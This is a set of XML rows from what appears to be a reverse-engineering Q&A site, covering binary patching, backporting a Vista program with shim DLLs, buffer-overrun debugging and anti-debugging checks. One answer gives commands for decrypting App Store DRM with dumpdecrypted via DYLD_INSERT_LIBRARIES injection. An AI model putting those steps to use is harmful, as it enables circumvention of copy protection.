  <row Id="11663" PostTypeId="1" AcceptedAnswerId="11672" CreationDate="2015-12-31T13:38:01.643" Score="5" ViewCount="566" Body="&lt;p&gt;Generally when I have Vista application it upgrade few function from kernel32.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;most often being InitializeCriticalSection -&gt; InitializeCriticalSectionEx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possibly to backport such? beside changing linker OSVersion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Just to be verbose, here is the example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0048CE4D                 xor     esi, esi&#xA;.text:0048CE4F                 push    esi             ; Flags&#xA;.text:0048CE50                 push    esi             ; dwSpinCount&#xA;.text:0048CE51                 push    ecx             ; lpCriticalSection&#xA;.text:0048CE52                 call    ds:InitializeCriticalSectionEx&#xA;.text:0048CE58                 test    eax, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hex dump:&#xA;&lt;code&gt;33 F6 56  56 51 FF 15 F0 C1 4A 00 85 C0&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14575" LastEditorUserId="14575" LastEditDate="2015-12-31T16:22:00.423" LastActivityDate="2016-05-11T07:51:02.533" Title="How to backport Vista program to XP without source code?" Tags="|disassembly|windows|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11664" PostTypeId="2" ParentId="11661" CreationDate="2015-12-31T14:42:28.253" Score="2" Body="&lt;p&gt;Using IDA Pro, look for the strings &lt;code&gt;TMUFE&lt;/code&gt; and/or &lt;code&gt;X-TM-UF-INFO&lt;/code&gt; and find their cross-references. The code that references those strings is part of the code that makes those HTTP requests and handles (decrypts) the server's responses. You can thus analyze that code to determine how your program performs the decryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like further help, you may want to post a link to the target program (assuming it's freeware/shareware/trialware and thus shareable).&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-31T14:42:28.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11665" PostTypeId="2" ParentId="11663" CreationDate="2015-12-31T14:55:17.620" Score="1" Body="&lt;p&gt;Not a trivial fix, but you could patch the Import Table to replace &lt;code&gt;InitializeCriticalSectionEx&lt;/code&gt; with &lt;code&gt;InitializeCriticalSection&lt;/code&gt; (just replace the &lt;code&gt;E&lt;/code&gt; character with a null-byte) and then patch all calls that were initially to &lt;code&gt;InitializeCriticalSectionEx&lt;/code&gt; to instead only pass the &lt;code&gt;lpCriticalSection&lt;/code&gt; argument and not the &lt;code&gt;dwSpinCount&lt;/code&gt; and &lt;code&gt;Flags&lt;/code&gt; arguments. You'll need to do some extra work if there are other calls to this function that don't rely on a static import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are even uglier solutions like hooking Windows's PE loader to dynamically redirect things, but I wouldn't recommend that route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps someone else can think of a more simple solution...?&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-31T14:55:17.620" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11666" PostTypeId="1" CreationDate="2015-12-31T17:39:34.753" Score="2" ViewCount="458" Body="&lt;p&gt;I'm trying to reverse engineer a library function code vulnerable to a buffer overrun to properly determine both the cause and the risks associated with it, but there is a behaviour I'm not sure to exactly understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;W64 application on Windows 8.1 which instantiates a COM object (a library).&lt;/li&gt;&#xA;&lt;li&gt;The library is prone to a buffer overrun with user controled input. No EIP gets overriten as library was compiled with MS Visual Studio /GS options (Stack canary protection)&lt;/li&gt;&#xA;&lt;li&gt;Private symbols of an older version of the library are available, so I can force them to load with .reload /i&lt;/li&gt;&#xA;&lt;li&gt;After calling to the function ProcessMessage, a 1023 bytes output buffer is filled with user controled input,for example a string with 2048 bytes.&lt;/li&gt;&#xA;&lt;li&gt;After return from this function ProcessMessage, stepping with the debugger raises messages of type &quot;Unable to read dynamic function table entry at ....&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is the offending calling code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    lea     r9,[rsp+78h]  ;* _EVENT_DATA_DESCRIPTOR&#xA;    lea     rdx,[rsp+40h] ; format string in data section (.... %s)&#xA;    mov     r8d,1         ; # of _EVENT_DATA_DESCRIPTORs&#xA;    mov     dword ptr [rbp-80h],eax  ;stringLen of data in _EVENT_DATA_DESCRIPTOR&#xA;    mov     dword ptr [rbp-7Ch],esi&#xA;    call    qword ptr [Library!ADVAPI32_NULL_THUNK_DATA]      ;call to EtwEventWrite&#xA;    call    qword ptr      [Library!_imp_PeekNamedPipe        ;calls GetCommandLineW&#xA;    lea     rdx,[Library!$xdatasym+0x70]                      ;format string in data section (.... %s)&#xA;    lea     rcx,[rbp-60h]  ;output buffer which will store result of ProcessMessage and will get overrun&#xA;    mov     r8,rax         ;result of _imp_PeekNamedPipe. Will used together with format string in rdx to form a string and store it in output buffer in rcx&#xA;    call    Library!`VulnerableClass::ProcessMessage'::`1'::catch$0+0x38&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Aftet the call to ProcessMessage, the following messages appear debugging with Windbg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:013&amp;gt; p&#xA;Unable to read dynamic function table entry at 00007ff801642c90&#xA;Unable to read dynamic function table entry at 00007ff801642cd0&#xA;0:013&amp;gt; p&#xA;Unable to read dynamic function table entry at 00007ff801642c50&#xA;Unable to read dynamic function table entry at 00007ff801642c90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does those messages mean our overflowed buffer has overwritten the vtable pointer of an object in the stack which has virtual methods? If so, is it possible to know to which object or functions does those addresses belong? Doing a u or dd on those address show no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it helps, the exceptions handlers declared, except of the current stack frame, were overwritten as well by user input (a mona.py pattern as shown below), don't know exactly if it has to do anything with the messages about dynamic function table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:013&amp;gt; !exchain&#xA;    31 stack frames, scanning for handlers...&#xA;    Frame 0x00: Library!VulnerableClass::SetValue+0x88b&#xA;    ehandler Library!`operator new'::`6'::`dynamic atexit destructor for 'nomem''+0x6490&#xA;    Frame 0x01: error getting module for 3462413362413262&#xA;    Frame 0x02: error getting module for 307a5a6241356241&#xA;    Frame 0x03: error getting module for 7a5a327a5a317a5a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for the answers.&lt;/p&gt;&#xA;" OwnerUserId="14578" LastEditorUserId="14578" LastEditDate="2016-01-01T20:10:49.730" LastActivityDate="2016-01-01T20:10:49.730" Title="Buffer overrun overwrittens dynamic function table" Tags="|windbg|exploit|buffer-overflow|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11667" PostTypeId="2" ParentId="11651" CreationDate="2015-12-31T19:31:11.720" Score="1" Body="&lt;p&gt;Unique key names come in handy here. Short search on some of the names suggest that this is coming from the &lt;a href=&quot;https://github.com/pankaku/pankia/wiki/Installing-the-SDK&quot; rel=&quot;nofollow&quot;&gt;Pankia&lt;/a&gt; gaming SDK. Quick review confirms that verifier is SHA1 of some kind of game secret and a UUID.&lt;/p&gt;&#xA;" OwnerUserId="14579" LastActivityDate="2015-12-31T19:31:11.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11668" PostTypeId="1" CreationDate="2016-01-01T00:44:31.283" Score="1" ViewCount="888" Body="&lt;p&gt;I'm patching an executable on OSX. So far I know the patches have been applied successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps taken (via LLDB):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lldb /users/Brandon/Desktop/Test.app/Contents/MacOS/Test&#xA;b start&#xA;run&#xA;br del 1&#xA;memory write 0x0006cc9f 0xB8&#xA;memory write 0x0006cc9f 0x01&#xA;memory write 0x0006cc9f 0x00&#xA;memory write 0x0006cc9f 0x00&#xA;memory write 0x0006cc9f 0x00&#xA;process continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works fine. The above changes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;call testFunc&lt;/code&gt; to &lt;code&gt;mov eax, 1&lt;/code&gt;. TestFunc is simple, it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool testFunc()&#xA;{&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if I apply this patch via IDA-Pro/Hex-Rays, it does NOT run! I applied the patches via IDA-Pro and ran the executable but that function never seems to be executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I take the same patched executable and I run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memory read 0x0006cc9f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It prints: &lt;code&gt;0xB8, 0x01, 0x00, 0x00, 0x00&lt;/code&gt; which is my patch! So the patch is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I run the same &lt;code&gt;memory write&lt;/code&gt; code in lldb on the already patched executable, and then &lt;code&gt;process continue&lt;/code&gt; the executable behaves correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it's because it's some sort of memory protection. How can I re-protect my executable after patching it?&lt;/p&gt;&#xA;" OwnerUserId="14580" LastActivityDate="2019-07-20T21:25:05.250" Title="Patching Application on OSX (Memory Protection)" Tags="|osx|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11669" PostTypeId="1" AcceptedAnswerId="11680" CreationDate="2016-01-01T07:51:16.813" Score="11" ViewCount="20583" Body="&lt;p&gt;I've been reading &lt;a href=&quot;http://media.hacking-lab.com/scs3/scs3_pdf/SCS3_2011_Bachmann.pdf&quot; rel=&quot;noreferrer&quot;&gt;this PDF on reverse-engineering iOS applications&lt;/a&gt; and have reached slide 39, decrypting the binary. However, I've been attempting to disassemble and explore the binary in OS X 10.9.5 rather than iOS, since my phone is not jailbroken and I'd prefer not to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the IPA file from the App Store by using &lt;a href=&quot;https://newspaint.wordpress.com/2012/11/05/node-js-http-and-https-proxy/&quot; rel=&quot;noreferrer&quot;&gt;a forward proxy&lt;/a&gt; running locally on my laptop to intercept the download request on my iPhone and replicate it on my laptop. From there I followed &lt;a href=&quot;http://osxdaily.com/2011/04/07/extract-and-explore-an-ios-app-in-mac-os-x/&quot; rel=&quot;noreferrer&quot;&gt;these directions&lt;/a&gt; to extract the encrypted binary from the IPA file, and used the directions from the PDF file to check whether it was encrypted. I confirmed that it was encrypted because the output from &lt;code&gt;otool&lt;/code&gt; was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Load command 11&#xA;          cmd LC_ENCRYPTION_INFO&#xA;      cmdsize 20&#xA;    cryptoff  8192&#xA;    cryptsize 15187968&#xA;    cryptid   1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to decrypt the DRM using only my Apple computer?&lt;/p&gt;&#xA;" OwnerUserId="14561" LastEditorUserId="14561" LastEditDate="2016-01-01T07:58:30.657" LastActivityDate="2020-01-10T22:16:29.053" Title="Decrypting IPA Binary on OS X" Tags="|arm|decryption|osx|ios|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11670" PostTypeId="2" ParentId="11669" CreationDate="2016-01-01T12:04:39.257" Score="1" Body="&lt;p&gt;Use dumpdecrypted or clutch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/KJCracks/Clutch&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/KJCracks/Clutch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/stefanesser/dumpdecrypted.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/stefanesser/dumpdecrypted.git&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could install Clutch on your OS/X, but not sure if you will need a valid Apple developer license to compile for iphone with XCODE. I found much easier to install it through Cydia in a jailbroken device(just look for it in Cydia packet manager and install it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In relation to dumpdecrypted, you will need to compile it in your OS/X with XCODE command line tools (and IOS SDK included with XCODE). With XCODE, just do a make and it should compile, no modification needs to be done to makefile. Once compiled, you could upload it to your jailbroken device through ssh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# scp dumpdecrypted.dylib root@192.168.0.192:/Library/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An inject it into the application/process to be decrypted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# DYLD_INSERT_LIBRARIES=/Library/dumpdecrypted.dylib PATH_TO_YOUR_APP mach-o decryption dumper&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14578" LastEditorUserId="8200" LastEditDate="2020-01-10T22:16:29.053" LastActivityDate="2020-01-10T22:16:29.053" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="11671" PostTypeId="1" AcceptedAnswerId="11673" CreationDate="2016-01-01T14:25:19.983" Score="1" ViewCount="307" Body="&lt;p&gt;I am interested in the following technique to detect if a debugger is attached or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://spareclockcycles.org/2012/02/14/stack-necromancy-defeating-debuggers-by-raising-the-dead/&quot; rel=&quot;nofollow&quot;&gt;http://spareclockcycles.org/2012/02/14/stack-necromancy-defeating-debuggers-by-raising-the-dead/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I tried the examples and they don't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the Windows Debug API modify the debugee stack when they are attached or when they are present?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="12793" LastActivityDate="2016-01-01T16:45:15.347" Title="Detect Debugger exploring Stack" Tags="|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11672" PostTypeId="2" ParentId="11663" CreationDate="2016-01-01T16:30:11.847" Score="5" Body="&lt;p&gt;One way to do this is to create &quot;shim&quot; DLLs with similar names so that they are easy to recognize.  This technique can be used incrementally (i.e. additional functions can be added to the DLL at any time, for other programs with similar requirements, rather than using an entirely new DLL each time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial problem is that you can't simply replace the function names (i.e. CriticalSectionEx -&gt; CriticalSection), because of the additional parameters that are required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shim technique requires that you change only the name of the imported DLL in the exe file, for example from &quot;kernel32.dll&quot; to &quot;kernel31.dll&quot; (to preserve the length of the name and maintain data alignment).  Then you create a &quot;kernel31.dll&quot;, which is placed in the same directory as the exe file.  The contents of this &quot;kernel31.dll&quot; file will be an export table, an import table, and wrappers for some functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the import table, you need another program which will read the import table of your original exe, and perform a GetProcAddress on each entry.  For each entry that returns a valid address, the &quot;kernel31.dll&quot; export table will have that entry added directly, and will point to the &quot;kernel31.dll&quot; import table in order to forward that imported name to the original DLL.  This function has no compatibility issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each entry that returns a zero for the address, the &quot;kernel31.dll&quot; export table will point to a wrapper inside &quot;kernel31.dll&quot; that you would have to write yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this procedure for each of the DLLs in the original exe (so &quot;ntdll.dll&quot; could become &quot;ntdl1.dll&quot;, &quot;user32.dll&quot; could become &quot;user31.dll&quot;, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two special cases, though: LoadLibrary and its variants (and its equivalent in ntdll.dll), and GetModuleHandle and its variants (and its equivalent in ntdll.dll).  These require wrappers in the &quot;kernel31.dll&quot; because they might attempt to access dynamically DLLs or functions which will have compatibility issues, too.  Unfortunately, you can't really determine that through static analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two wrappers will call the original function in kernel32.dll (or ntdll.dll), and then check the result.  If a DLL does not exist, then it's a case of creating that DLL yourself, in case it was introduced in a later version of Windows, or returning this result if the DLL is truly optional.  If the function does not exist, then it's a case of finding the reference to the DLL and renaming it, and then writing the function wrapper for a new version of that DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a horribly long answer, and probably makes it sound more difficult to implement that it really is, but the details are needed.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1323" LastEditDate="2016-01-03T17:10:44.240" LastActivityDate="2016-01-03T17:10:44.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11673" PostTypeId="2" ParentId="11671" CreationDate="2016-01-01T16:45:15.347" Score="2" Body="&lt;p&gt;The results in the article rely on details which are specific to the version of Windows and to the debugger which is present at the time.  They have not been documented widely because they are so unreliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows will inject a thread into an attached process in order to gather information about the process, which led to the &quot;DebugBreak overwrite&quot; technique to defeat it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are additional checks which are performed when a debugged process is launched, which can result in altered stack state, but the whole thing is just chasing ghosts.  The behavior of Windows could be changed at any time to reintroduce the behavior or change it in yet other ways.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2016-01-01T16:45:15.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11674" PostTypeId="1" AcceptedAnswerId="11675" CreationDate="2016-01-01T20:05:18.703" Score="2" ViewCount="33013" Body="&lt;p&gt;I have a small executable that I downloaded from the net, and that runs in the Command Line, which makes me think it may be a DOS program. The program works perfectly, but due to being developed by a non-English speaker, the interface/presentation of it needs to be cleaned up to make it look a little more professional. Is it possible to get to the file's source code and edit it?&lt;/p&gt;&#xA;" OwnerUserId="14585" LastActivityDate="2018-11-25T12:34:16.197" Title="Is it possible to extract or otherwise edit the source code of an .exe file?" Tags="|windows|executable|dos-exe|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11675" PostTypeId="2" ParentId="11674" CreationDate="2016-01-01T20:28:32.243" Score="5" Body="&lt;p&gt;Principally: Yes.&lt;br&gt;&#xA;But: it's not practically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could change the machine-code within the .exe, but that's not really practically if you want to change the interface/presentation. Also you would need to do it at least in assembly language.&lt;br&gt;&#xA;If you want to improve the software, I think, the best would be to contact the developer and ask if you can help him to improve the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to take a look inside the .exe anyway you could try &lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change something in such an existing program, you have basically 3 ways to do it:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing the machine code itself:&lt;br&gt;&#xA;The representation of the machine code does not need to be 1's and 0's, you can use any other number system. Anyway machine code is really, really hard to read and edit. Additionally you have also the same problems like you 'simply' disassemble the program.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a disassembler and modify the assembler code:&lt;br&gt;&#xA;You have to take care of the memory layout of the software you want to modify. Since any change on some string could override another variable. And assembler is also not easy to read and write. So depending on the size of the software, it takes some time to get a basic overview about where to change the code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or use a decompiler:&lt;br&gt;&#xA;But you mostly won't get any useful variable names, since the compiler removes them most of the time. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another point you have to take a look at is anti debugging and reverse engineering tools. They may prevent from running the piece of code inside debugger like OllyDbg or getting useful decompiled code.&lt;br&gt;&#xA;Also take a look at &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/11677/4427&quot;&gt;peter ferrie's answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4427" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-01-02T09:42:57.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11676" PostTypeId="1" CreationDate="2016-01-02T03:45:21.890" Score="3" ViewCount="2969" Body="&lt;p&gt;A qualifier - all I know of what I'm about to explain has been gathered from spending the last few hours researching to solve my problem, so forgive the naivety and clumsiness of a non-expert in this particular area of tech... including the title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a very old and small (possibly DOS) .exe program file that I got from the net. The program works perfectly, but its text strings are in French. I'm wanting to modify just those text strings to change them to English. According to PEid, the program was written in MS Visual C++, although I couldn't find a C++ decompiler that was free, or anything else that would allow me to edit the program in anything other than Hex or machine code. Hex is a lot less intimidating, so I decided to opt for editing it via CFF Explorer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explorer is great because it allows me to update the checksum each time I edit the file, which does away with a previous problem that corrupted the program file each time I tried to edit it, but now I'm having another problem: I can only seem to edit the text strings of the program with CFF insomuch as the overall character count remains the same - add any more or less characters than the original .exe, and the output of the file is overwritten... or at least, that's what it looks like from my end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it possible to edit an .exe file without the limitation of keeping the amount of characters in it the exact same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really appreciate an answer. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14585" LastEditorUserId="14585" LastEditDate="2016-01-03T01:57:27.203" LastActivityDate="2016-01-09T17:11:34.200" Title="How to edit an .exe file without overwriting previous information" Tags="|windows|executable|dos-exe|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11677" PostTypeId="2" ParentId="11674" CreationDate="2016-01-02T05:18:21.683" Score="3" Body="&lt;p&gt;The short answer is no - the source is not available if only the .exe is available.  The source code is an entirely separate file which is generally not shared with the public.  However, given the .exe file, it might be possible to &quot;decompile&quot; it into a form of source code which would allow a new .exe file to be produced, and which should match the existing one fairly well when performing a byte-for-byte comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that decompiled source code in hand, it would be possible to make modifications to the behavior or appearance of the program, but it would be far from trivial, since such relatively important things as variable names will not be present, so deriving the meaning of certain memory accesses will require a lot of time and effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to consider carefully if the effort is worth the reward.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2016-01-02T05:18:21.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11678" PostTypeId="2" ParentId="11676" CreationDate="2016-01-02T08:45:36.987" Score="1" Body="&lt;p&gt;Ok, you clearly have no idea what you are on about.&#xA;However this is not a problem, first learn why a C++ Decompiler is a weird thing to ask for. Second, if you are in luck the strings can be accessed directly from the program. Open the application in a decen hexeditor (HxD, 010, Hiew, Hexworkshop) and scroll down hoping you find the strings. Edit them (dont forget to close with a NULL-Byte), test if that works and work from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if the text is written with lets say bitmaps, you'll have to disassemble the application. Can you share the bin w/ us?&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2016-01-02T08:45:36.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11680" PostTypeId="2" ParentId="11669" CreationDate="2016-01-02T17:21:00.170" Score="11" Body="&lt;p&gt;Currently you can't decrypt iOS apps without a device. The encryption keys are ultimately protected by an unknown key which is burned into the processor and cannot be extracted using software, that's why no &quot;offline&quot; decryption app has been made.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-01-02T17:21:00.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11681" PostTypeId="1" AcceptedAnswerId="11698" CreationDate="2016-01-02T21:55:42.297" Score="3" ViewCount="468" Body="&lt;p&gt;I found &lt;a href=&quot;http://radare.org/doc/html/Section22.9.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; post stating that Radare can work with &lt;a href=&quot;http://boomerang.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boomerang&lt;/a&gt;. However when I try do exactly as they say, I get the following error: &lt;code&gt;sh: 1: rsc: not found&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From what I can see, &lt;code&gt;rsc&lt;/code&gt; is an extra utility that would have come in with Radare1. See &lt;a href=&quot;http://manpages.ubuntu.com/manpages/raring/man1/rsc.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I understand that ! causes Radare to execute a shell command so I therefore need the &lt;code&gt;rsc&lt;/code&gt; utility. However I cannot find it anywhere!&lt;/p&gt;&#xA;&lt;p&gt;I'm using Radare2 0.10.0 compiled from git and Boomerang compiled from git as well.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know what the state of these two tools working together is?&lt;/p&gt;&#xA;" OwnerUserId="14593" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-01-05T13:25:06.293" Title="Radare2 and Boomerang" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11682" PostTypeId="1" CreationDate="2016-01-02T23:57:10.970" Score="3" ViewCount="528" Body="&lt;p&gt;I was testing some 'C' code with VLAs. It wasn't that surprising that Hex-Rays was not able to recognize VLA. As with structures there is some way to make it understand (simply making the variable type of the structure you think it is) - is there similar thing for VLAs?&lt;/p&gt;&#xA;" OwnerUserId="14334" LastActivityDate="2016-09-30T22:48:55.267" Title="Does hex-rays support VLA in any way?" Tags="|ida|c|hexrays|array|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11684" PostTypeId="1" AcceptedAnswerId="11691" CreationDate="2016-01-03T02:43:22.947" Score="1" ViewCount="379" Body="&lt;p&gt;I am writing a python debugger and disassembler using the PyDBG library I have the disassembler part working, but not all of the debugger. Is it possible to use it to return something similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[*] Dumping registers for thread ID: 0x00000550&#xA;[**] EIP: 0x7c90eb94&#xA;[**] ESP: 0x0007fde0 &#xA;[**] EBP: 0x0007fdfc &#xA;[**] EAX: 0x006ee208&#xA;[**] EBX: 0x00000000&#xA;[**] ECX: 0x0007fdd8 &#xA;[**] EDX: 0x7c90eb94 &#xA;[*] END DUMP&#xA;[*] Dumping registers for thread ID: 0x000005c0 &#xA;[**] EIP: 0x7c95077b&#xA;[**] ESP: 0x0094fff8 &#xA;[**] EBP: 0x00000000&#xA;[**] EAX: 0x00000000&#xA;[**] EBX: 0x00000001&#xA;[**] ECX: 0x00000002&#xA;[**] EDX: 0x00000003&#xA;[*] END DUMP&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need the register state of every thread running. There are several &lt;code&gt;thread_context&lt;/code&gt; functions in PyDBG but I'm not sure how to use them to get that result. Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="14595" LastEditorUserId="53" LastEditDate="2016-01-03T10:59:15.430" LastActivityDate="2016-01-03T19:22:47.343" Title="Can I get different thread registers with PyDBG?" Tags="|debugging|python|thread|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11687" PostTypeId="2" ParentId="11676" CreationDate="2016-01-03T16:52:01.863" Score="2" Body="&lt;p&gt;Without seeing the program, we can't say definitely one way or the other if it would be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever the French text is at least the same size as the English equivalent, you can simply use a hex editor to overwrite the French text with the corresponding English text without any issue (leaving any left-over French characters in place, in order to keep the file size the same).  The problem that you will have is whenever the English text would be longer than the French text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, you would have to extend the size of the file (including adjusting the header fields that specify the length internally), apply the English text to this new area, and then find all references to the original text, and replace them with references to the new text.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2016-01-03T16:52:01.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
